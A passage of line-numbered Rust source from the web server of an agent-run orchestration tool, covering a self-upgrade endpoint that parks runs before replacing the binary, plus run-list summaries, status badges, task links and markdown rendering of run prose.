2573    detail: String,
2574}
2575
2576/// The stage of an upgrade that is still moving, if the record says so.
2577/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
2578fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2579    progress.filter(|p| !p.stage.terminal())
2580}
2581
2582/// `POST /api/upgrade` - replace this binary with the newest release and come
2583/// back on it.
2584///
2585/// The one thing the deck could not do for itself. Every fix landed today
2586/// either waited for a competition to end or went in with the deck stopped,
2587/// because `cargo install` cannot overwrite a running executable on Windows.
2588/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2589/// the new one in its place, so the swap itself needs no downtime. Only the
2590/// restart does, and the order is the whole design:
2591///
2592/// 1. **Park.** A run in flight stops at its next node boundary and stays
2593///    resumable, so this costs at most the node in progress rather than the
2594///    competition. Without it the honest choices were waiting an hour or
2595///    discarding paid agent work.
2596/// 2. **Replace.** The new binary goes into place while this one still runs.
2597/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2598///    successor - see [`spawn_successor`] for what happens in the other
2599///    order.
2600/// 4. **Resume.** The next loop carries the parked run on rather than
2601///    competing again; see `daemon::attempt`.
2602///
2603/// Answers **202**: the reply has to reach the phone while this process can
2604/// still send one, and the phone learns the deck is back by reconnecting.
2605async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2606    let reading = daemon::read_status(&ui.home);
2607    if let Some(other) = Foreign::of(reading.as_ref()) {
2608        return Err(ApiError::conflict(format!(
2609            "the loop belongs to {}, so replacing this binary would leave \
2610             that process running an old one against the same queue. Upgrade \
2611             where it was started.",
2612            other.who()
2613        )));
2614    }
2615
2616    // A second upgrade while one is moving would replace the binary and
2617    // signal the handover again after `serve` already consumed the first
2618    // signal, leaving the process in `replaced` forever. Try-lock rather than
2619    // wait: a phone connection must not hang behind a GitHub round trip.
2620    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2621        return Err(ApiError::conflict(
2622            "another request is already preparing an upgrade",
2623        ));
2624    };
2625    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2626        return Err(ApiError::conflict(
2627            "an upgrade is already in progress (this process started one and it \
2628             has not finished or failed yet)",
2629        ));
2630    }
2631    let recorded = updater::read_progress(&ui.home);
2632    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2633        return Err(ApiError::conflict(format!(
2634            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2635             stays stuck, restart the deck; on start it settles a stale record.",
2636            p.stage.as_str(),
2637            p.from,
2638            p.to.as_deref().unwrap_or("?"),
2639        )));
2640    }
2641
2642    // The same kill switch the background check honours (`disabled_by_env`),
2643    // checked before anything else for the same reason it is read before the
2644    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2645    // contact GitHub from this process", and a button press must not
2646    // override that any more than a broken `magi.toml` may.
2647    if crate::updater::disabled_by_env() {
2648        return Ok((
2649            StatusCode::OK,
2650            Json(UpgradeView {
2651                from: env!("CARGO_PKG_VERSION").to_owned(),
2652                to: None,
2653                parked: None,
2654                detail: format!(
2655                    "Automatic updates are disabled by {}. Nothing was parked \
2656                     and nothing restarted.",
2657                    crate::updater::NO_AUTOUPDATE_ENV
2658                ),
2659            }),
2660        ));
2661    }
2662
2663    // Asked before anything is disturbed. Restarting when there is nothing
2664    // to install is not a harmless no-op: it parks the run in flight and
2665    // drops every connection to pay for an upgrade that did not happen. A
2666    // probe against a deck already on the newest build did exactly that.
2667    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2668    let from = env!("CARGO_PKG_VERSION").to_owned();
2669    let latest = match crate::updater::Checker::new(&cfg.update) {
2670        Some(checker) => checker
2671            .newer_release()
2672            .await
2673            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2674        None => None,
2675    };
2676    let Some(latest) = latest else {
2677        return Ok((
2678            StatusCode::OK,
2679            Json(UpgradeView {
2680                from,
2681                to: None,
2682                parked: None,
2683                detail: "Already on the newest release. Nothing was parked \
2684                         and nothing restarted."
2685                    .to_owned(),
2686            }),
2687        ));
2688    };
2689
2690    // Parked before anything is replaced: a successor that came up while a
2691    // run was mid-node would find a run nobody is driving.
2692    let parked = ui.park_for_upgrade(&from, Some(latest.tag_name.as_str()))?;
2693    let detail = match &parked {
2694        // Honest about the wait. A park takes effect at the *next* node
2695        // boundary, so a run mid-implement finishes that wave first - up to
2696        // `timeout_implement`, an hour by default. Saying "restarting now"
2697        // would make the deck look wedged for the rest of it.
2698        Some(run) => format!(
2699            "Run {} is parking at its next step, which can take as long as \
2700             the step it is on - up to an hour for an implement wave. The \
2701             deck replaces itself once it parks, comes back, and the loop \
2702             carries that run on from where it stopped. Nothing is lost if \
2703             you close this.",
2704            crate::run::short_of(run)
2705        ),
2706        None => "The deck replaces itself and comes back. Nothing was in \
2707                 flight to park."
2708            .to_owned(),
2709    };
2710
2711    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2712    // poll must see a `Downloading` stage immediately, not whenever the
2713    // spawned task happens to get scheduled.
2714    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2715    progress.parked_run = parked.clone();
2716    // A failed write is logged, not returned: the loop is already parked
2717    // above, and bailing out here would leave it parked with no upgrade
2718    // spawned to hand over or resume it.
2719    updater::write_progress_logged(&ui.home, &progress);
2720
2721    let home = ui.home.clone();
2722    let looping = ui.looping();
2723    ui.upgrade_spawned
2724        .store(true, std::sync::atomic::Ordering::SeqCst);
2725    let spawned = Arc::clone(&ui.upgrade_spawned);
2726    tokio::spawn(async move {
2727        if let Err(e) = upgrade_and_restart(home.clone()).await {
2728            tracing::error!("the upgrade did not complete: {e:#}");
2729            lock_or_recover(&looping).resume_after_handover = false;
2730            // A failure of this attempt says nothing about a handover an
2731            // earlier request already has in flight; checked and written
2732            // under the progress lock.
2733            let _ = updater::fail_progress(&home, &format!("{e:#}"));
2734            // Released last: until the cleanup above is done, a retry must
2735            // not be able to park and record state this would then undo.
2736            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2737        }
2738    });
2739
2740    Ok((
2741        StatusCode::ACCEPTED,
2742        Json(UpgradeView {
2743            from,
2744            to: Some(latest.tag_name),
2745            parked,
2746            detail,
2747        }),
2748    ))
2749}
2750
2751/// Replace the binary, then ask [`serve`] to hand the address over.
2752///
2753/// Separated from the handler so the 202 is already on its way, and separated
2754/// from the spawn so the successor starts only after the listener is dropped.
2755async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2756    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2757    // hang the upgrade for as long as the process lives.
2758    crate::updater::run_self_update(true, false, true).await?;
2759    updater::log_step(&home, "binary replaced - recording the replaced stage");
2760    if let Some(mut progress) = updater::read_progress(&home) {
2761        progress.advance(updater::Stage::Replaced);
2762        updater::write_progress_logged(&home, &progress);
2763    }
2764    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2765    HANDOVER.notify_one();
2766    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2767    Ok(())
2768}
2769
2770/// One row in the run list.
2771///
2772/// The list route returns this rather than whole `RunState`s: the summary of a
2773/// run is a few hundred bytes and the state is megabytes, and the difference
2774/// is what makes the history usable on a mobile link.
2775#[derive(Debug, Serialize)]
2776struct RunSummary {
2777    id: String,
2778    short: String,
2779    status: String,
2780    done: bool,
2781    instruction: String,
2782    title: String,
2783    repo: String,
2784    repo_name: String,
2785    created_at: String,
2786    updated_at: String,
2787    candidates: usize,
2788    viable: usize,
2789    judges: usize,
2790    winner: Option<char>,
2791    reviews: usize,
2792    quota_losses: usize,
2793    event: Option<String>,
2794    /// The later attempt at the same task that replaced this one, if any.
2795    ///
2796    /// Two cards with one title is otherwise unreadable: this is what lets
2797    /// the deck say "superseded by 4043" on the older of the pair.
2798    superseded_by: Option<String>,
2799    /// Blocked on a question nobody has answered.
2800    ///
2801    /// Derived from the question store rather than stored on the run: an agent
2802    /// calling `magi ask` blocks mid-node, and writing a status from there
2803    /// would race the graph's own save of `run.json` and be overwritten at the
2804    /// next node boundary. Asking the store is always true and never races.
2805    waiting: bool,
2806    /// Whether the process recorded as driving this run can still be proven
2807    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2808    /// rather than presenting its last graph node as still in flight.
2809    live: crate::run::Liveness,
2810    /// The land loop's last look at the pull request, when there is one.
2811    pr: Option<crate::run::PrRecord>,
2812    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2813    /// design — never picked up by the PR-polling merge watcher, unlike an
2814    /// ordinary `Ready` that may still be a live landing candidate. See
2815    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2816    /// re-deriving the same check from `status` and `merge.mode` itself.
2817    unmerged_by_design: bool,
2818    /// Derived presentation status matching [`RunDetailView::display_status`].
2819    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
2820    #[serde(default)]
2821    display_status: String,
2822    /// What the status badge shows: `display_status`, or `superseded` for a
2823    /// non-live run a later attempt replaced. See [`run_badge_status`].
2824    #[serde(default)]
2825    badge_status: String,
2826    /// Who started the run, as the one label every surface shares; the
2827    /// "origin unknown" wording when the record predates origins.
2828    origin_label: String,
2829}
2830
2831impl RunSummary {
2832    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2833        Self {
2834            id: state.id.clone(),
2835            short: state.short().to_owned(),
2836            status: status_word(state.status),
2837            done: state.status.done(),
2838            unmerged_by_design: state.unmerged_by_design(),
2839            display_status: run_display_status(state, waiting, live),
2840            badge_status: run_display_status(state, waiting, live),
2841            instruction: state.instruction.clone(),
2842            title: title_from(&state.instruction, TITLE_MAX),
2843            repo: state.repo.display().to_string(),
2844            repo_name: state
2845                .repo
2846                .file_name()
2847                .map(|n| n.to_string_lossy().into_owned())
2848                .unwrap_or_default(),
2849            created_at: state.created_at.to_string(),
2850            updated_at: state.updated_at.to_string(),
2851            candidates: state.candidates.len(),
2852            viable: state.viable().len(),
2853            judges: state.config.graph.judges,
2854            winner: state.winner().map(|c| c.label),
2855            reviews: state.reviews.len(),
2856            quota_losses: state.quota.len(),
2857            event: state.events.last().map(|e| e.message.clone()),
2858            waiting,
2859            live,
2860            // Filled in by the list route, which is the only place that can
2861            // see a task's other attempts.
2862            superseded_by: None,
2863            pr: state.pr.clone(),
2864            origin_label: crate::run::origin_label(state.origin.as_ref()),
2865        }
2866    }
2867}
2868
2869/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2870/// the same string `serde` writes for the status inside a full run.
2871fn status_word(status: RunStatus) -> String {
2872    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2873    // was a third way of naming the same statuses, and one that changed
2874    // silently with a derive.
2875    status.as_str().to_owned()
2876}
2877
2878/// The presentation status for a run, unified across summaries and details.
2879///
2880/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
2881/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
2882/// runs awaiting operator answers.
2883fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
2884    if waiting {
2885        return "waiting".to_owned();
2886    }
2887    if state.unmerged_by_design() {
2888        return "unmerged".to_owned();
2889    }
2890    if !state.status.done() && live == crate::run::Liveness::Dead {
2891        // The driver claim clears this flag before saving another event.
2892        // A previous park event can therefore outlive a resumed driver.
2893        if state.parked {
2894            return "parked".to_owned();
2895        }
2896        return "stale".to_owned();
2897    }
2898    status_word(state.status)
2899}
2900
2901/// The word a run's status badge shows: `display_status`, except that a
2902/// non-terminal run which is not provably live and was replaced by a later
2903/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
2904///
2905/// Same judgement `magi show` uses (`RunState::liveness`, the task's
2906/// successor); a live driver, `Unknown` liveness and terminal runs keep their
2907/// own word, so superseded never claims more than "not live".
2908fn run_badge_status(
2909    state: &RunState,
2910    display_status: &str,
2911    live: crate::run::Liveness,
2912    superseded: bool,
2913) -> String {
2914    if state.status.done() || live == crate::run::Liveness::Live {
2915        return display_status.to_owned();
2916    }
2917    if superseded {
2918        return "superseded".to_owned();
2919    }
2920    // A dead run's `display_status` is `stale`, except that a deliberate park
2921    // and an open owner question keep their own word: neither is a crash, and
2922    // the question still needs an answer. Anything else dead reads `stale`.
2923    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
2924        return "stale".to_owned();
2925    }
2926    display_status.to_owned()
2927}
2928
2929/// `?limit=`, clamped by the handler.
2930#[derive(Debug, Deserialize)]
2931struct ListQuery {
2932    #[serde(default)]
2933    limit: Option<usize>,
2934    /// Exact ids only; an empty value requests no rows (except queue blockers).
2935    ids: Option<String>,
2936}
2937
2938impl ListQuery {
2939    fn contains(&self, id: &str) -> bool {
2940        self.ids
2941            .as_ref()
2942            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2943    }
2944}
2945
2946async fn runs_list(
2947    State(ui): State<Arc<Ui>>,
2948    Query(q): Query<ListQuery>,
2949) -> ApiResult<Json<Vec<RunSummary>>> {
2950    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2951    blocking(move || {
2952        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2953        let states = run_ids(&ui.runs)
2954            .into_iter()
2955            // A run whose state cannot be read is skipped, not fatal: a run
2956            // killed mid-write must not blank the history of every other one.
2957            // The detail route still explains it, which is where an operator
2958            // asking "what happened to that run" ends up.
2959            .filter_map(|id| read_run(&ui.runs, &id).ok())
2960            .take(limit)
2961            .filter(|run| q.contains(&run.id));
2962        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2963        let summaries = summarize(
2964            states,
2965            &open_runs,
2966            &claimed,
2967            &superseded,
2968            |p| probe.borrow_mut().status(p),
2969            |p| probe.borrow_mut().started_at(p),
2970        );
2971        Ok(Json(summaries))
2972    })
2973    .await
2974}
2975
2976/// Everything the per-run rows share, read once: runs with an open question,
2977/// runs a live daemon claims, and the superseded map. Asking per run re-read
2978/// every question file and the daemon status file for each of hundreds of
2979/// runs, and spawned a process probe per run on Windows.
2980fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2981    let open_runs: HashSet<String> = ui
2982        .questions
2983        .list()
2984        .into_iter()
2985        .filter(|q| q.status.open())
2986        .map(|q| q.run)
2987        .collect();
2988    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2989        .into_iter()
2990        .map(|c| c.run)
2991        .collect();
2992    (open_runs, claimed, ui.queue.superseded())
2993}
2994
2995/// The rows of the run list, given everything that is shared between them.
2996///
2997/// Pure over its inputs so a test can count how often the process queries are
2998/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
2999/// takes, called at most once per run.
3000fn summarize<I, S, D>(
3001    states: I,
3002    open_runs: &HashSet<String>,
3003    claimed: &HashSet<String>,
3004    superseded: &HashMap<String, String>,
3005    mut status_q: S,
3006    mut identity_q: D,
3007) -> Vec<RunSummary>
3008where
3009    I: IntoIterator<Item = RunState>,
3010    S: FnMut(u32) -> Option<bool>,
3011    D: FnMut(u32) -> Option<String>,
3012{
3013    states
3014        .into_iter()
3015        .map(|state| {
3016            let waiting = open_runs.contains(&state.id);
3017            let live =
3018                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3019            let mut row = RunSummary::of(&state, waiting, live);
3020            row.superseded_by = state
3021                .pr_taken_over_by
3022                .as_ref()
3023                .or_else(|| superseded.get(&state.id))
3024                .map(String::as_str)
3025                .map(crate::run::short_of)
3026                .map(str::to_owned);
3027            row.badge_status = run_badge_status(
3028                &state,
3029                &row.display_status,
3030                live,
3031                row.superseded_by.is_some(),
3032            );
3033            row
3034        })
3035        .collect()
3036}
3037
3038/// A run as the detail route hands it to the phone.
3039///
3040/// The whole state, flattened, plus `instruction_md`: the Task panel renders
3041/// the instruction as markdown, and the raw `instruction` field this struct
3042/// still carries (unchanged) is what a client wanting the exact bytes reads
3043/// instead.
3044#[derive(Debug, Serialize)]
3045struct RunDetailView {
3046    stop_reason: Option<String>,
3047    #[serde(flatten)]
3048    state: RunState,
3049    instruction_md: Vec<md::Node>,
3050    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
3051    /// mirror the records they come from, index for index; the raw strings
3052    /// stay in `state` and decide whether a block is shown at all.
3053    #[serde(flatten)]
3054    prose_md: RunProseMd,
3055    /// Whether a process is actually still driving this run: `"live"`,
3056    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
3057    ///
3058    /// `state.active` (flattened in above) is only ever cleared by the
3059    /// process that populated it; a killed one leaves its last wave's
3060    /// entries behind. Carrying this alongside is what lets the phone rail
3061    /// tell "this seat is still answering" from "this seat was still
3062    /// answering when whatever was driving this run died" without a second
3063    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
3064    /// proof of either. A string rather than a bool on purpose: a daemon
3065    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
3066    /// and neither proven is `"unknown"` — folding that third case into
3067    /// either end of a bool is exactly the wrong call for a phone screen an
3068    /// operator uses to decide whether to wait or to act.
3069    live: crate::run::Liveness,
3070    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
3071    /// alongside the flattened `state` rather than inside it, since
3072    /// `RunState` has no business knowing which of its own methods a caller
3073    /// wants serialized.
3074    unmerged_by_design: bool,
3075    /// Same field and meaning as [`RunSummary::waiting`].
3076    #[serde(default)]
3077    waiting: bool,
3078    /// Same derived presentation status as [`RunSummary::display_status`].
3079    #[serde(default)]
3080    display_status: String,
3081    /// Same field and meaning as [`RunSummary::badge_status`].
3082    #[serde(default)]
3083    badge_status: String,
3084    /// Same field and meaning as [`RunSummary::done`]: whether the status is
3085    /// terminal. The client's `landView` keys on it, and the flattened state
3086    /// has no such field, so without it a finished run's stale `open` PR
3087    /// would be painted as live on the detail page.
3088    done: bool,
3089    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
3090    /// route fills it from [`Queue::superseded`], the detail route from
3091    /// [`Queue::superseded_by`], and both read the same underlying task
3092    /// order. Without this the detail page could only ever show a red
3093    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
3094    /// with nothing anywhere saying so — an operator opening it had no way
3095    /// to tell "this is done elsewhere" from "this still needs a retry".
3096    superseded_by: Option<String>,
3097    /// The task's current attempt, when this run is an older one — resolved
3098    /// from [`Queue::latest_attempt`] and this run's own state, not left for
3099    /// the client to derive.
3100    ///
3101    /// Three things a client cannot safely do on its own drove this onto the
3102    /// server: it has to name the chain's *current head*, not just the next
3103    /// attempt (`superseded_by` above), because an intermediate retry in a
3104    /// longer chain can itself still be unresolved; it has to resolve to a
3105    /// real id rather than a short id a client would have to guess a full id
3106    /// from, which is ambiguous the moment two runs share a suffix; and it
3107    /// has to read that head's own status directly, because whether a run
3108    /// list a client happens to have cached even contains that attempt
3109    /// depends on a page limit this route knows nothing about.
3110    latest_attempt: Option<LatestAttempt>,
3111    /// The queue task this run belongs to, so the detail page can link back
3112    /// to the task's own page. `None` for a run nobody queued (`magi run`).
3113    task: Option<TaskRef>,
3114    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
3115    /// run recorded before origins existed. `origin` itself (flattened in
3116    /// with `state`) is `null` in that case.
3117    origin_label: String,
3118    /// Each recorded pass over this run, with the cause it stopped for. Empty
3119    /// for a run from before passes were kept: its earlier passes are unknown.
3120    pass_views: Vec<PassView>,
3121}
3122
3123/// A task named from a run's detail page.
3124#[derive(Debug, Serialize)]
3125struct TaskRef {
3126    id: String,
3127    short: String,
3128    title: String,
3129    /// [`Source::label`], e.g. `chat@a1b2`.
3130    source_label: String,
3131    /// Where the task came from, when that place has a page; see [`source_link`].
3132    source_link: Option<SourceLink>,
3133    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
3134    status: &'static str,
3135    attempts: usize,
3136    max_attempts: usize,
3137    /// This run is the last entry of the task's run list.
3138    is_latest: bool,
3139    /// The task's newest run, when it is not this one.
3140    latest: Option<RunBrief>,
3141    /// The run that finished a `done` task (merged, or already in the base).
3142    finished_by: Option<RunBrief>,
3143    /// The task is `done` but no run on record finished it: closed by hand.
3144    closed_by_hand: bool,
3145}
3146
3147/// The page that filed a task, as the UI links to it.
3148#[derive(Debug, PartialEq, Eq, Serialize)]
3149struct SourceLink {
3150    /// `chat` (a conversation) or `run` (a run's node).
3151    kind: &'static str,
3152    /// The full id, never the short one in the label.
3153    id: String,
3154    /// The hash route that opens it.
3155    href: String,
3156}
3157
3158/// Percent-encode everything outside the URL-unreserved set.
3159fn encode_segment(raw: &str) -> String {
3160    let mut out = String::with_capacity(raw.len());
3161    for b in raw.bytes() {
3162        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3163            out.push(b as char);
3164        } else {
3165            out.push_str(&format!("%{b:02X}"));
3166        }
3167    }
3168    out
3169}
3170
3171/// The one place that decides where a task's source links to. A chat
3172/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
3173/// a person or an imported issue has no page, so no link.
3174fn source_link(source: &Source) -> Option<SourceLink> {
3175    let Source::Agent { run, node } = source else {
3176        return None;
3177    };
3178    let (kind, route) = if node == crate::queue::CHAT_NODE {
3179        ("chat", "chat")
3180    } else {
3181        ("run", "runs")
3182    };
3183    Some(SourceLink {
3184        kind,
3185        id: run.clone(),
3186        href: format!("#/{route}/{}", encode_segment(run)),
3187    })
3188}
3189
3190/// The parent task of a follow-up, when its file can still be read.
3191#[derive(Debug, Serialize, PartialEq)]
3192struct FollowUpParent {
3193    id: String,
3194    short: String,
3195    title: String,
3196    /// The parent's own status (`TaskStatus::as_str`).
3197    status: &'static str,
3198    href: String,
3199}
3200
3201/// The merged run a follow-up was filed from.
3202#[derive(Debug, Serialize, PartialEq)]
3203struct FollowUpRun {
3204    id: String,
3205    short: String,
3206    /// `None` when the run's record cannot be read.
3207    status: Option<&'static str>,
3208    /// `None` unless the record could be read: never a dead link.
3209    href: Option<String>,
3210}
3211
3212/// Where a follow-up task came from, resolved once per task page so the flow
3213/// chart and the detail block cannot disagree. See [`followup_origin`].
3214#[derive(Debug, Serialize, PartialEq)]
3215struct FollowUpOrigin {
3216    /// Present only when `origin_task` is set and that task still exists.
3217    parent: Option<FollowUpParent>,
3218    run: FollowUpRun,
3219    /// The merged pull request, verbatim. Not an href: the client passes it
3220    /// through `forgeUrl()` and renders text when that refuses it (the one
3221    /// exception to "the href rule is Rust's alone", since a forge URL is
3222    /// data from a record, not a route).
3223    pr: String,
3224    findings: Vec<String>,
3225    generation: u32,
3226}
3227
3228/// The one place that decides what a follow-up links to. A parent that cannot
3229/// be read (gone, or an id that names nothing) is `None`, never an error.
3230fn followup_origin(
3231    fu: &crate::queue::FollowUp,
3232    task: impl Fn(&str) -> Option<Task>,
3233    run: impl Fn(&str) -> Option<RunState>,
3234) -> FollowUpOrigin {
3235    let parent = fu
3236        .origin_task
3237        .as_deref()
3238        .and_then(task)
3239        .map(|t| FollowUpParent {
3240            short: t.short().to_owned(),
3241            href: format!("#/tasks/{}", encode_segment(&t.id)),
3242            status: t.status.as_str(),
3243            title: t.title,
3244            id: t.id,
3245        });
3246    let state = run(&fu.run);
3247    FollowUpOrigin {
3248        parent,
3249        run: FollowUpRun {
3250            short: run::short_of(&fu.run).to_owned(),
3251            status: state.as_ref().map(|s| s.status.as_str()),
3252            href: state
3253                .is_some()
3254                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3255            id: fu.run.clone(),
3256        },
3257        pr: fu.pr.clone(),
3258        findings: fu.findings.clone(),
3259        generation: fu.generation,
3260    }
3261}
3262
3263/// Another run of the same task, as named from a run's detail page.
3264#[derive(Debug, Serialize)]
3265struct RunBrief {
3266    id: String,
3267    short: String,
3268    /// `None` when the run's record cannot be read.
3269    status: Option<&'static str>,
3270    /// The task-page wording for how that pass ended.
3271    outcome: String,
3272    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
3273    badge: Option<String>,
3274}
3275
3276/// The task's overall outcome as seen from `this_run`'s page, classified with
3277/// the same exits the task page's flowchart uses.
3278fn task_outcome(
3279    task: &Task,
3280    this_run: &str,
3281    max_attempts: usize,
3282    read: impl Fn(&str) -> Option<RunState>,
3283) -> TaskRef {
3284    let max_attempts = task.effective_attempt_limit(max_attempts);
3285    let history = task_history(task, read);
3286    let brief = |h: &TaskRunView| RunBrief {
3287        id: h.id.clone(),
3288        short: h.short.clone(),
3289        status: h.status,
3290        outcome: h.exit.edge_label(h.status),
3291        badge: h.badge.clone(),
3292    };
3293    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3294    let latest = if is_latest {
3295        None
3296    } else {
3297        history.last().map(brief)
3298    };
3299    let done = task.status == TaskStatus::Done;
3300    let finished_by = done
3301        .then(|| {
3302            history
3303                .iter()
3304                .rev()
3305                .find(|h| {
3306                    matches!(
3307                        h.exit,
3308                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3309                    )
3310                })
3311                .map(brief)
3312        })
3313        .flatten();
3314    TaskRef {
3315        short: task.short().to_owned(),
3316        title: task.title.clone(),
3317        id: task.id.clone(),
3318        source_label: task.source.label(),
3319        source_link: source_link(&task.source),
3320        status: task.status.as_str(),
3321        attempts: task.attempts,
3322        max_attempts,
3323        is_latest,
3324        latest,
3325        closed_by_hand: done && finished_by.is_none(),
3326        finished_by,
3327    }
3328}
3329
3330/// The task's current attempt, as seen from an older one's detail page.
3331#[derive(Debug, Serialize)]
3332struct LatestAttempt {
3333    id: String,
3334    short: String,
3335    /// Whether this attempt itself settled with a result nobody needs to
3336    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
3337    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
3338    /// unconfirmed claim that no change was needed, which is exactly why it
3339    /// settles the task through `Held` rather than `Done` and still waits on
3340    /// a human to check the evidence; showing an older run as "finished
3341    /// elsewhere" on the strength of an unverified claim would bury the
3342    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
3343    /// in-flight status are excluded because they are exactly the
3344    /// unresolved states this field exists to tell apart from a real finish.
3345    resolved: bool,
3346    /// The attempt's own recorded status, so the page can say where it
3347    /// stands while it is not resolved yet.
3348    status: RunStatus,
3349    /// Whether that status is terminal (nothing is still running it).
3350    done: bool,
3351}
3352
3353/// Markdown for the free-text prose of a run, parallel to `RunState`.
3354#[derive(Debug, Default, Serialize)]
3355struct RunProseMd {
3356    /// `None` when the run has no design deliberation.
3357    advice_md: Option<AdviceMd>,
3358    /// One entry per candidate: the summary.
3359    candidate_summaries_md: Vec<Vec<md::Node>>,
3360    /// One entry per review round, in `reviews` order.
3361    reviews_md: Vec<RoundMd>,
3362}
3363
3364#[derive(Debug, Default, Serialize)]
3365struct AdviceMd {
3366    synthesis: Vec<md::Node>,
3367    /// One per record; empty for a seat with no proposal.
3368    approaches: Vec<Vec<md::Node>>,
3369}
3370
3371#[derive(Debug, Default, Serialize)]
3372struct RoundMd {
3373    /// One per reviewer record.
3374    reviewers: Vec<ReviewerMd>,
3375    /// One per `reconsideration` entry: the reason.
3376    reconsideration: Vec<Vec<md::Node>>,
3377    fix: Option<FixMd>,
3378}
3379
3380#[derive(Debug, Default, Serialize)]
3381struct ReviewerMd {
3382    summary: Vec<md::Node>,
3383    /// One per finding, in recorded order (not the display order).
3384    findings: Vec<Vec<md::Node>>,
3385}
3386
3387#[derive(Debug, Default, Serialize)]
3388struct FixMd {
3389    notes: Vec<md::Node>,
3390    /// One per rejection: the argument.
3391    rejected: Vec<Vec<md::Node>>,
3392}
3393
3394/// Parse a run's agent-written prose; a pure function of the state.
3395fn run_prose_md(state: &RunState) -> RunProseMd {
3396    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3397    RunProseMd {
3398        advice_md: state.advice.as_ref().map(|a| AdviceMd {
3399            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3400            approaches: a
3401                .records
3402                .iter()
3403                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3404                .collect(),
3405        }),
3406        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3407        reviews_md: state
3408            .reviews
3409            .iter()
3410            .map(|round| RoundMd {
3411                reviewers: round
3412                    .reviews
3413                    .iter()
3414                    .map(|rec| ReviewerMd {
3415                        summary: nodes(&rec.summary),
3416                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3417                    })
3418                    .collect(),
3419                reconsideration: round
3420                    .reconsideration
3421                    .iter()
3422                    .map(|rv| nodes(&rv.reason))
3423                    .collect(),
3424                fix: round.fix.as_ref().map(|fix| FixMd {
3425                    notes: nodes(&fix.notes),
3426                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3427                }),
3428            })
3429            .collect(),
3430    }
3431}
3432
3433impl RunDetailView {
3434    fn of(
3435        state: RunState,
3436        waiting: bool,
3437        live: crate::run::Liveness,
3438        superseded_by: Option<String>,
3439        latest_attempt: Option<LatestAttempt>,
3440        task: Option<TaskRef>,
3441    ) -> Self {
3442        let display_status = run_display_status(&state, waiting, live);
3443        let stop_reason = crate::stop_reason::of(
3444            &state,
3445            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
3446        );
3447        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
3448        Self {
3449            stop_reason,
3450            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
3451            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3452            prose_md: run_prose_md(&state),
3453            origin_label: crate::run::origin_label(state.origin.as_ref()),
3454            live,
3455            unmerged_by_design: state.unmerged_by_design(),
